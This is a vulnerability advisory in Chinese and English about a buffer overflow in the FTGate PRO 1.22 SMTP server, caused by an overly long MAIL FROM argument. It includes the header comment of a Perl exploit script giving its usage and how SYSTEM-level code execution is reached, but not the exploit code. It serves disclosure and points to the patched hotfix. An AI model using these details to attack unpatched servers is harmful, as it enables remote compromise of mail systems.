FTGatePro是一款网络共享代理服务程序，支持多种协议。FTGatePro邮件服务程序对超长SMTP’MailFrom’命令参数缺少正确的缓冲区边界检查，远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击，可能以SYSTEM用户权限在系统上执行任意指令。当恶意攻击攻击者发送”MAILFROM”字段中包含超长字符串的邮件给FTGatePro邮件服务程序时，会发生缓冲区溢出，如果精心构建提交字符串，可能以SYSTEM权限在系统上执行任意指令。

A buffer overflow vulnerability has been reported for Floosietek FTGate PRO mail server. The vulnerability exists when the mail server attempts to process overly long SMTP 'Mail From' arguments. Due to the nature of this vulnerability it may be exploited to execute attacker-supplied code with the privileges of the SYSTEM user.

This vulnerability was reported for FTGate PRO 1.22 Hotfix(1328). It is likely that previous versions are also affected.

# FTGate Pro Mail Server v. 1.22 (1328) DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: [email protected]
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short
# Period, where we can actually overwrite the exception handler on the stack allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
# 
#
